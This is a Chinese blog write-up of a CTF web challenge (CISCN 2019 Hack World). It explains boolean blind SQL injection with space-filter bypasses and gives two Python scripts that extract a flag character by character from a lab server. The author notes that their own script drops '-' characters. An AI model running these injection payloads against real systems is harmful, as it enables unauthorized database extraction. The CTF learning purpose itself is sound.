Loading

[CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)

记一道布尔注入的题,存在过滤字符。
从题目看应该是一道注入题。提示存在flag表flag列。
输入1和2的返回结果不一样,可能是布尔注入。
简单用万能密码尝试了一下。提示SQL Injection Checked。显然是存在过滤的。FUZZ测试:

好像并没有过滤掉很多的东西。ascii和substr都存在,但是空格被过滤了。
绕过空格的方法:
1、注释绕过

/**/
/*!*/

2、括号绕过
3、HTML编码绕过
常用的URL编码中,会把空格编码成%20,所以通过浏览器发包,进行的URL编码中,空格被编码成%20,而这是属于HTML编码中从 %00 到 %8F的范围,但在HTML编码中,还有一个编码可以取代空格,也就是%a0。
我们这里因为没过滤掉括号我们自己括号绕过空格。
这里应用一下大佬的脚本https://www.cnblogs.com/20175211lyz/p/11435298.html

import string
import requests
import string

url = "http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
result = ""
right = "Hello"
for i in range(1,50):
    high = 127
    low = 32
    mid = (low+high) // 2    #找中间数
    while high>low:
        payload = "if(ascii(substr((select(flag)from(flag)),%s,1))>%s,1,2)"%(i,mid)
        date = {"id":payload}
        repos = requests.post(url,data=date)
        if right in repos.text:
            low = mid + 1    #假如返回的字符串中有Hello,即flag的某个字符的ascii码比中间数大,我们要增大中间数
        else:
            high = mid    #假如返回的字符串中没有Hello,即flag的某个字符的ascii码比中间数小,我们要把最大数调整到原来的中间数位置
        mid = (low+high) //2
    result += chr(int(mid))  #中间数不一定是整数,用int转成整数
    print(result)

下面是自己写的。如果有大师傅看到这篇文章,指点一下小弟,下面是自己写的脚本能跑,但是有点问题。

flag{eb683c48e1a849f79d3ff65e693f9551} //自己跑出来的flag
flag{eb683c48-e1a8-49f7-9d3f-f65e693f9551}  //别人脚本跑出来的flag,这个是正确的

自己写的脚本跑不出“-”这个字符。其他的字母和数字是一样的。

import requests
import string

url="http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
dic = string.digits+string.ascii_letters+"!@#$%^&*()_=+{}-"
result =""
for i in range(1,60):
    for each in dic:
        payload = "if((ascii(substr((select(flag)from(flag)),%s,1))=ascii('%s')),1,2)"%(i,each)
        print(payload)
        date = {"id":payload}
        rep = requests.post(url=url,data=date)
        if "Hello" in rep.text:
            print(each)
            result += each
            print(result)
            break
print(result)
posted @ 2020-06-08 20:53  Hel10  阅读(266)  评论(0编辑  收藏  举报